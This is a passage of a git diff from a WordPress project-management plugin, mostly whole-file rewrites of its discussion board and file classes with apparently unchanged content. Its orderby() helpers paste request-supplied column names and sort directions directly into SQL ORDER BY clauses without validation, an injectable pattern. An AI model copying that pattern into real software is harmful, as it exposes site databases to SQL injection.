$per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'pm_boards'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + private function get_per_page() { + + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return intval( $per_page ); + } + + return 20; + } + + private function get() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_discussion_board}.* + FROM {$this->tb_discussion_board} + {$this->join} + WHERE %d=%d {$this->where} AND $this->tb_discussion_board.type=%s + {$this->orderby} {$this->limit} "; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1, 'discussion_board' ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + $this->discussion_boards = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->discussion_board_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->discussion_board_ids = [$results->id]; + } + + return $this; + } + + private function set_table_name() { + $this->tb_project = pm_tb_prefix() . 'pm_projects'; + $this->tb_discussion_board = pm_tb_prefix() . 'pm_boards'; + } +} diff --git a/src/Discussion_Board/Models/Discussion_Board.php b/src/Discussion_Board/Models/Discussion_Board.php index cdb3cf17d..4de5be1bd 100644 --- a/src/Discussion_Board/Models/Discussion_Board.php +++ b/src/Discussion_Board/Models/Discussion_Board.php @@ -1,64 +1,64 @@ - 'discussion_board']; - - public function newQuery( $except_deleted = true ) { - return parent::newQuery( $except_deleted )->where( 'type', '=', 'discussion_board' ); - } - - public function comments() { - return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'commentable_id' )->where( 'commentable_type', 'discussion_board' ); - } - - public function files() { - return $this->hasMany( 'WeDevs\PM\File\Models\File', 'fileable_id' )->where( 'fileable_type', 'discussion_board' ); - } - - public function users() { - return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id') - ->where( 'board_type', 'discussion_board' ) - ->where( 'boardable_type', 'user' ); - } - - public function milestones() { - return $this->belongsToMany( 'WeDevs\PM\Milestone\Models\Milestone', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) - ->where( 'board_type', 'milestone' ) - ->where( 'boardable_type', 'discussion_board' ); - } - - public function boardables() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'boardable_id' )->where( 'boardable_type', 'discussion_board' ); - } - - public function metas() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) - ->where( 'entity_type', 'discussion_board' ); - } - -} + 'discussion_board']; + + public function newQuery( $except_deleted = true ) { + return parent::newQuery( $except_deleted )->where( 'type', '=', 'discussion_board' ); + } + + public function comments() { + return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'commentable_id' )->where( 'commentable_type', 'discussion_board' ); + } + + public function files() { + return $this->hasMany( 'WeDevs\PM\File\Models\File', 'fileable_id' )->where( 'fileable_type', 'discussion_board' ); + } + + public function users() { + return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id') + ->where( 'board_type', 'discussion_board' ) + ->where( 'boardable_type', 'user' ); + } + + public function milestones() { + return $this->belongsToMany( 'WeDevs\PM\Milestone\Models\Milestone', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) + ->where( 'board_type', 'milestone' ) + ->where( 'boardable_type', 'discussion_board' ); + } + + public function boardables() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'boardable_id' )->where( 'boardable_type', 'discussion_board' ); + } + + public function metas() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) + ->where( 'entity_type', 'discussion_board' ); + } + +} diff --git a/src/Discussion_Board/Transformers/Discussion_Board_Transformer.php b/src/Discussion_Board/Transformers/Discussion_Board_Transformer.php index 1e6119ead..5a7231843 100644 --- a/src/Discussion_Board/Transformers/Discussion_Board_Transformer.php +++ b/src/Discussion_Board/Transformers/Discussion_Board_Transformer.php @@ -1,113 +1,113 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => pm_get_content( $item->description ), - 'order' => $item->order, - 'created_at' => format_date( $item->created_at ), - 'meta' => $this->meta( $item ), - ]; - return apply_filters( 'pm_discuss_transform', $data, $item); - - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_discuss_board_transformer_default_includes", $this->defaultIncludes ); - } - - public function meta( Discussion_Board $item ) { - $meta = $item->metas()->get()->toArray(); - $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); - - return array_merge( $meta, [ - 'total_comments' => $item->comments->count(), - 'total_users' => $item->users->count(), - 'total_files' => $item->files->count(), - ] ); - } - - public function includeUsers( Discussion_Board $item ) { - $users = $item->users; - - return $this->collection( $users, new User_Transformer ); - } - - public function includeComments( Discussion_Board $item ) { - $page = isset( $_GET['comment_page'] ) ? intval( $_GET['comment_page'] ) : 1; - - // Paginator::currentPageResolver(function () use ($page) { - // return $page; - // }); - - $comments = $item->comments() - ->orderBy( 'created_at', 'ASC' ) - ->get(); - - //$comment_collection = $comments->getCollection(); - $resource = $this->collection( $comments, new Comment_Transformer ); - - //$resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); - - return $resource; - } - - public function includeFiles( Discussion_Board $item ) { - $page = isset( $_GET['file_page'] ) ? intval($_GET['file_page']) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $files = $item->files() - ->orderBy( 'created_at', 'DESC' ) - ->get(); - - - $resource = $this->collection( $files, new File_Transformer ); - - return $resource; - } - - public function includeMilestone( Discussion_Board $item ) { - $milestone = $item->milestones->first(); - - if ( $milestone ) { - return $this->item( $milestone, new Milestone_Transformer ); - } - - return null; - } + (int) $item->id, + 'title' => $item->title, + 'description' => pm_get_content( $item->description ), + 'order' => $item->order, + 'created_at' => format_date( $item->created_at ), + 'meta' => $this->meta( $item ), + ]; + return apply_filters( 'pm_discuss_transform', $data, $item); + + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_discuss_board_transformer_default_includes", $this->defaultIncludes ); + } + + public function meta( Discussion_Board $item ) { + $meta = $item->metas()->get()->toArray(); + $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); + + return array_merge( $meta, [ + 'total_comments' => $item->comments->count(), + 'total_users' => $item->users->count(), + 'total_files' => $item->files->count(), + ] ); + } + + public function includeUsers( Discussion_Board $item ) { + $users = $item->users; + + return $this->collection( $users, new User_Transformer ); + } + + public function includeComments( Discussion_Board $item ) { + $page = isset( $_GET['comment_page'] ) ? intval( $_GET['comment_page'] ) : 1; + + // Paginator::currentPageResolver(function () use ($page) { + // return $page; + // }); + + $comments = $item->comments() + ->orderBy( 'created_at', 'ASC' ) + ->get(); + + //$comment_collection = $comments->getCollection(); + $resource = $this->collection( $comments, new Comment_Transformer ); + + //$resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); + + return $resource; + } + + public function includeFiles( Discussion_Board $item ) { + $page = isset( $_GET['file_page'] ) ? intval($_GET['file_page']) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $files = $item->files() + ->orderBy( 'created_at', 'DESC' ) + ->get(); + + + $resource = $this->collection( $files, new File_Transformer ); + + return $resource; + } + + public function includeMilestone( Discussion_Board $item ) { + $milestone = $item->milestones->first(); + + if ( $milestone ) { + return $this->item( $milestone, new Milestone_Transformer ); + } + + return null; + } } \ No newline at end of file diff --git a/src/Discussion_Board/Validators/Discussion_Board_Sanitizer.php b/src/Discussion_Board/Validators/Discussion_Board_Sanitizer.php index c95e7a771..88271702d 100644 --- a/src/Discussion_Board/Validators/Discussion_Board_Sanitizer.php +++ b/src/Discussion_Board/Validators/Discussion_Board_Sanitizer.php @@ -1,15 +1,15 @@ - 'trimer|html_esc', - 'description' => 'trimer|pm_kses', - 'status' => 'trimer', - ]; - } -} + 'trimer|html_esc', + 'description' => 'trimer|pm_kses', + 'status' => 'trimer', + ]; + } +} diff --git a/src/File/Controllers/File_Controller.php b/src/File/Controllers/File_Controller.php index 24497fdcb..e9286914b 100644 --- a/src/File/Controllers/File_Controller.php +++ b/src/File/Controllers/File_Controller.php @@ -1,141 +1,141 @@ -get_param( 'project_id' ); - $per_page = $request->get_param( 'per_page' ); - $per_page = $per_page ? $per_page : 200; - - $page = $request->get_param( 'page' ); - $page = $page ? $page : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $files = File::with(['meta'])->where( 'project_id', $project_id ) - ->paginate( $per_page ); - - - $file_collection = $files->getCollection(); - - $resource = new Collection( $file_collection, new File_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $files ) ); - - $response = $this->get_response( $resource ); - - return apply_filters( 'pm_after_get_files', $response, $files, $resource, $request->get_params() ); - } - - public function show( WP_REST_Request $request ) { - $file_id = $request->get_param( 'file_id' ); - $file = File::find( $file_id ); - - $resource = new Item( $file, new File_Transformer ); - - return $this->get_response( $resource ); - } - - public function store( WP_REST_Request $request ) { - $media_data = $request->get_file_params(); - $file = $media_data['file']; - - $attachment_id = File_System::upload( $file ); - $request->set_param( 'attachment_id', $attachment_id ); - - $data = $this->extract_non_empty_values( $request ); - $file = File::create( $data ); - - $resource = new Item( $file, new File_Transformer ); - - return $this->get_response( $resource ); - } - - public function rename( WP_REST_Request $request ) { - $file_id = $request->get_param( 'file_id' ); - $file_name = $request->get_param( 'name' ); - $file = File::find( $file_id ); - - File_System::update( $file->attachment_id, array( 'name' => $file_name ) ); - - $resource = new Item( $file, new File_Transformer ); - - return $this->get_response( $resource ); - } - - public function destroy( WP_REST_Request $request ) { - $file_id = $request->get_param( 'file_id' ); - - $file = File::find( $file_id ); - File_System::delete( $file->attachment_id ); - $file->delete(); - - wp_send_json_success(); - } - - public function download( WP_REST_Request $request ) { - $file_id = $request->get_param('file_id'); - - //get file path - $file = File_System::get_file( $file_id ); - $path = get_attached_file( $file_id ); - - if ( ! file_exists( $path ) ) { - header( "Status: 404 Not Found" ); - die( esc_html__( 'file not found', 'wedevs-project-manager' ) ); - } - - $file_name = basename( $path ); - - $mime_type = empty( $file['mime_type'] ) ? 'application/force-download' : $file['mime_type']; - - // serve the file with right header - if ( is_readable( $path ) ) { - // header("Pragma: public"); - // header("Expires: 0"); - // header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); - // header("Content-Type: application/force-download"); - // header("Content-Type: application/octet-stream"); - // header("Content-Type: application/download"); - // header("Content-Disposition: attachment; filename=$file_name"); - // header("Content-Transfer-Encoding: binary "); - // readfile( $path ); - - header( 'Content-Type: ' . $mime_type ); - header( 'Content-Transfer-Encoding: binary' ); - header( 'Content-Disposition: inline; filename=' . basename( $path ) ); - readfile( $path ); - } - - exit; - } - - function get_mime_type_icon( WP_REST_Request $request ) { - $type = $request->get_param( 'type' ); - - wp_send_json_success([ - 'icon' => wp_mime_type_icon( $type ) - ]); - } -} - - - - +get_param( 'project_id' ); + $per_page = $request->get_param( 'per_page' ); + $per_page = $per_page ? $per_page : 200; + + $page = $request->get_param( 'page' ); + $page = $page ? $page : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $files = File::with(['meta'])->where( 'project_id', $project_id ) + ->paginate( $per_page ); + + + $file_collection = $files->getCollection(); + + $resource = new Collection( $file_collection, new File_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $files ) ); + + $response = $this->get_response( $resource ); + + return apply_filters( 'pm_after_get_files', $response, $files, $resource, $request->get_params() ); + } + + public function show( WP_REST_Request $request ) { + $file_id = $request->get_param( 'file_id' ); + $file = File::find( $file_id ); + + $resource = new Item( $file, new File_Transformer ); + + return $this->get_response( $resource ); + } + + public function store( WP_REST_Request $request ) { + $media_data = $request->get_file_params(); + $file = $media_data['file']; + + $attachment_id = File_System::upload( $file ); + $request->set_param( 'attachment_id', $attachment_id ); + + $data = $this->extract_non_empty_values( $request ); + $file = File::create( $data ); + + $resource = new Item( $file, new File_Transformer ); + + return $this->get_response( $resource ); + } + + public function rename( WP_REST_Request $request ) { + $file_id = $request->get_param( 'file_id' ); + $file_name = $request->get_param( 'name' ); + $file = File::find( $file_id ); + + File_System::update( $file->attachment_id, array( 'name' => $file_name ) ); + + $resource = new Item( $file, new File_Transformer ); + + return $this->get_response( $resource ); + } + + public function destroy( WP_REST_Request $request ) { + $file_id = $request->get_param( 'file_id' ); + + $file = File::find( $file_id ); + File_System::delete( $file->attachment_id ); + $file->delete(); + + wp_send_json_success(); + } + + public function download( WP_REST_Request $request ) { + $file_id = $request->get_param('file_id'); + + //get file path + $file = File_System::get_file( $file_id ); + $path = get_attached_file( $file_id ); + + if ( ! file_exists( $path ) ) { + header( "Status: 404 Not Found" ); + die( esc_html__( 'file not found', 'wedevs-project-manager' ) ); + } + + $file_name = basename( $path ); + + $mime_type = empty( $file['mime_type'] ) ? 'application/force-download' : $file['mime_type']; + + // serve the file with right header + if ( is_readable( $path ) ) { + // header("Pragma: public"); + // header("Expires: 0"); + // header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); + // header("Content-Type: application/force-download"); + // header("Content-Type: application/octet-stream"); + // header("Content-Type: application/download"); + // header("Content-Disposition: attachment; filename=$file_name"); + // header("Content-Transfer-Encoding: binary "); + // readfile( $path ); + + header( 'Content-Type: ' . $mime_type ); + header( 'Content-Transfer-Encoding: binary' ); + header( 'Content-Disposition: inline; filename=' . basename( $path ) ); + readfile( $path ); + } + + exit; + } + + function get_mime_type_icon( WP_REST_Request $request ) { + $type = $request->get_param( 'type' ); + + wp_send_json_success([ + 'icon' => wp_mime_type_icon( $type ) + ]); + } +} + + + + diff --git a/src/File/Helper/File.php b/src/File/Helper/File.php index d73638cac..e4565ded6 100644 --- a/src/File/Helper/File.php +++ b/src/File/Helper/File.php @@ -1,338 +1,338 @@ -set_table_name(); - } - - public static function get_task_files( WP_REST_Request $request ) { - $files = self::get_results( $request->get_params() ); - - wp_send_json( $files ); - } - - public static function get_results( $params = [] ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with() - ->meta(); - - $response = $self->format_files( $self->files ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format TaskMilestone data - * - * @param array $files - * - * @return array - */ - public function format_files( $files ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - // if ( ! is_array( $files ) ) { - // $response['data'] = $this->fromat_file( $files ); - - // return $response; - // } - - foreach ( $files as $key => $file ) { - $files[$key] = $this->fromat_file( $file ); - } - - $response['data'] = $files; - $response ['meta'] = $this->set_files_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_files_meta() { - return [ - 'pagination' => [ - 'total' => $this->found_rows, - 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) - ] - ]; - } - - public function fromat_file( $file ) { - - $items = [ - 'id' => (int) $file->id, - 'fileable_id' => $file->fileable_id, - 'fileable_type' => $file->fileable_type, - 'directory' => empty( $file->directory ) ? '' : $file->directory, - 'attachment_id' => $file->attachment_id, - 'attached_at' => format_date( $file->created_at ), - //'fileable' => $this->get_fileabel($file), - //'meta' => $this->get_file_meta($file) - ]; - - $items = $this->set_attach_file( $items, $file ); - $items = $this->item_with( $items, $file ); - - return apply_filters( 'pm_file_transform', $items, $file ); - } - - private function set_attach_file( $items, $file ) { - $attach_file = File_System::get_file( $file->attachment_id ); - $attach_file = is_array( $attach_file ) ? $attach_file : []; - - return array_merge( $items, $attach_file ); - } - - private function join() { - return $this; - } - - private function with() { - $this->creator() - ->updater(); - - return $this; - } - - private function where() { - $this->where_id(); - - return $this; - } - - /** - * Filter file by ID - * - * @return class object - */ - private function where_id() { - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - global $wpdb; - $format = pm_get_prepare_format( $id ); - $format_ids = pm_get_prepare_data( $id ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_file}.id IN ($format)", $format_ids ); - - if ( count( $format_ids ) == 1 ) { - $this->is_single_query = true; - } - - return $this; - } - - private function creator() { - - if ( empty( $this->files ) ) { - return $this; - } - - $creator_ids = wp_list_pluck( $this->files, 'created_by' ); - $creator_ids = array_unique( $creator_ids ); - - $creators = pm_get_users( [ 'id' => $creator_ids ] ); - $creators = $creators['data']; - - $items = []; - - foreach ( $creators as $key => $creator ) { - $items[$creator['id']] = $creator; - } - - foreach ( $this->files as $key => $file ) { - $c_creator = empty( $items[$file->created_by] ) ? [] : $items[$file->created_by]; - - $file->creator = [ 'data' => $c_creator ]; - } - - return $this; - } - - private function updater() { - if ( empty( $this->files ) ) { - return $this; - } - - $updater_ids = wp_list_pluck( $this->files, 'updated_by' ); - $updater_ids = array_unique( $updater_ids ); - - $updaters = pm_get_users( [ 'id' => $updater_ids ] ); - $updaters = $updaters['data']; - - $items = []; - - foreach ( $updaters as $key => $updater ) { - $items[$updater['id']] = $updater; - } - - foreach ( $this->files as $key => $file ) { - $c_updater = empty( $items[$file->updated_by] ) ? [] : $items[$file->updated_by]; - - $file->updater = [ 'data' => $c_updater ]; - } - - return $this; - } - - private function meta() { - return $this; - } - - private function item_with( $items, $file ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - $with = array_merge( $this->with, $with ); - - $file_with_items = array_intersect_key( (array) $file, array_flip( $with ) ); - - $items = array_merge( $items, $file_with_items ); - - return $items; - } - - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'pm_boards'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - private function get_per_page() { - - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return intval( $per_page ); - } - - return 20; - } - - private function get() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_file}.* - FROM {$this->tb_file} - {$this->join} - WHERE %d=%d {$this->where} - {$this->orderby} {$this->limit}"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - $this->files = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->file_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->file_ids = [$results->id]; - } - - return $this; - } - - private function set_table_name() { - $this->tb_file = pm_tb_prefix() . 'pm_files'; - } - -} - +set_table_name(); + } + + public static function get_task_files( WP_REST_Request $request ) { + $files = self::get_results( $request->get_params() ); + + wp_send_json( $files ); + } + + public static function get_results( $params = [] ) { + $self = self::getInstance(); + $self->query_params = $params; + + $self->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with() + ->meta(); + + $response = $self->format_files( $self->files ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format TaskMilestone data + * + * @param array $files + * + * @return array + */ + public function format_files( $files ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + // if ( ! is_array( $files ) ) { + // $response['data'] = $this->fromat_file( $files ); + + // return $response; + // } + + foreach ( $files as $key => $file ) { + $files[$key] = $this->fromat_file( $file ); + } + + $response['data'] = $files; + $response ['meta'] = $this->set_files_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_files_meta() { + return [ + 'pagination' => [ + 'total' => $this->found_rows, + 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) + ] + ]; + } + + public function fromat_file( $file ) { + + $items = [ + 'id' => (int) $file->id, + 'fileable_id' => $file->fileable_id, + 'fileable_type' => $file->fileable_type, + 'directory' => empty( $file->directory ) ? '' : $file->directory, + 'attachment_id' => $file->attachment_id, + 'attached_at' => format_date( $file->created_at ), + //'fileable' => $this->get_fileabel($file), + //'meta' => $this->get_file_meta($file) + ]; + + $items = $this->set_attach_file( $items, $file ); + $items = $this->item_with( $items, $file ); + + return apply_filters( 'pm_file_transform', $items, $file ); + } + + private function set_attach_file( $items, $file ) { + $attach_file = File_System::get_file( $file->attachment_id ); + $attach_file = is_array( $attach_file ) ? $attach_file : []; + + return array_merge( $items, $attach_file ); + } + + private function join() { + return $this; + } + + private function with() { + $this->creator() + ->updater(); + + return $this; + } + + private function where() { + $this->where_id(); + + return $this; + } + + /** + * Filter file by ID + * + * @return class object + */ + private function where_id() { + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + global $wpdb; + $format = pm_get_prepare_format( $id ); + $format_ids = pm_get_prepare_data( $id ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_file}.id IN ($format)", $format_ids ); + + if ( count( $format_ids ) == 1 ) { + $this->is_single_query = true; + } + + return $this; + } + + private function creator() { + + if ( empty( $this->files ) ) { + return $this; + } + + $creator_ids = wp_list_pluck( $this->files, 'created_by' ); + $creator_ids = array_unique( $creator_ids ); + + $creators = pm_get_users( [ 'id' => $creator_ids ] ); + $creators = $creators['data']; + + $items = []; + + foreach ( $creators as $key => $creator ) { + $items[$creator['id']] = $creator; + } + + foreach ( $this->files as $key => $file ) { + $c_creator = empty( $items[$file->created_by] ) ? [] : $items[$file->created_by]; + + $file->creator = [ 'data' => $c_creator ]; + } + + return $this; + } + + private function updater() { + if ( empty( $this->files ) ) { + return $this; + } + + $updater_ids = wp_list_pluck( $this->files, 'updated_by' ); + $updater_ids = array_unique( $updater_ids ); + + $updaters = pm_get_users( [ 'id' => $updater_ids ] ); + $updaters = $updaters['data']; + + $items = []; + + foreach ( $updaters as $key => $updater ) { + $items[$updater['id']] = $updater; + } + + foreach ( $this->files as $key => $file ) { + $c_updater = empty( $items[$file->updated_by] ) ? [] : $items[$file->updated_by]; + + $file->updater = [ 'data' => $c_updater ]; + } + + return $this; + } + + private function meta() { + return $this; + } + + private function item_with( $items, $file ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + $with = array_merge( $this->with, $with ); + + $file_with_items = array_intersect_key( (array) $file, array_flip( $with ) ); + + $items = array_merge( $items, $file_with_items ); + + return $items; + } + + private function limit() { + global $wpdb; + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'pm_boards'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + private function get_per_page() { + + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return intval( $per_page ); + } + + return 20; + } + + private function get() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_file}.* + FROM {$this->tb_file} + {$this->join} + WHERE %d=%d {$this->where} + {$this->orderby} {$this->limit}"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + $this->files = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->file_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->file_ids = [$results->id]; + } + + return $this; + } + + private function set_table_name() { + $this->tb_file = pm_tb_prefix() . 'pm_files'; + } + +} + diff --git a/src/File/Models/File.php b/src/File/Models/File.php index 71781f1e8..d98a260d2 100644 --- a/src/File/Models/File.php +++ b/src/File/Models/File.php @@ -1,45 +1,45 @@ -hasOne( 'WeDevs\PM\Comment\Models\Comment', 'id', 'fileable_id'); - return $this->belongsToMany( 'WeDevs\PM\Common\Models\Board', pm_tb_prefix() . 'pm_comments', 'id', 'commentable_id', 'fileable_id'); - } - - public function meta() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' )->where('entity_type', 'file'); - } - - public function children() { - return $this->hasMany( $this, 'parent' ); - } - - - - - -} +hasOne( 'WeDevs\PM\Comment\Models\Comment', 'id', 'fileable_id'); + return $this->belongsToMany( 'WeDevs\PM\Common\Models\Board', pm_tb_prefix() . 'pm_comments', 'id', 'commentable_id', 'fileable_id'); + } + + public function meta() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' )->where('entity_type', 'file'); + } + + public function children() { + return $this->hasMany( $this, 'parent' ); + } + + + + + +} diff --git a/src/File/Transformers/File_Transformer.php b/src/File/Transformers/File_Transformer.php index 40ddce024..3ff4a539a 100644 --- a/src/File/Transformers/File_Transformer.php +++ b/src/File/Transformers/File_Transformer.php @@ -1,62 +1,62 @@ -attachment_id ); - $file = is_array( $file ) ? $file : []; - - $model_data = [ - 'id' => (int) $item->id, - 'fileable_id' => $item->fileable_id, - 'fileable_type' => $item->fileable_type, - 'directory' => $item->directory, - 'attachment_id' => $item->attachment_id, - 'attached_at' => format_date( $item->created_at ), - 'fileable' => $this->get_fileabel($item), - 'meta' => $this->get_file_meta($item) - ]; - - return array_merge( $model_data, $file ); - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_file_transformer_default_includes", $this->defaultIncludes ); - } - - public function get_fileabel( $item ) { - - if ( $item->fileable_type == 'comment') { - $result = $item->comment()->get()->first(); - return $result->getAttributes(); - } - } - - public function get_file_meta($item){ - $itemArr = [] ; - foreach($item->meta as $meta){ - $itemArr[$meta->meta_key] = $meta->meta_value ; - } - return $itemArr ; - } -} +attachment_id ); + $file = is_array( $file ) ? $file : []; + + $model_data = [ + 'id' => (int) $item->id, + 'fileable_id' => 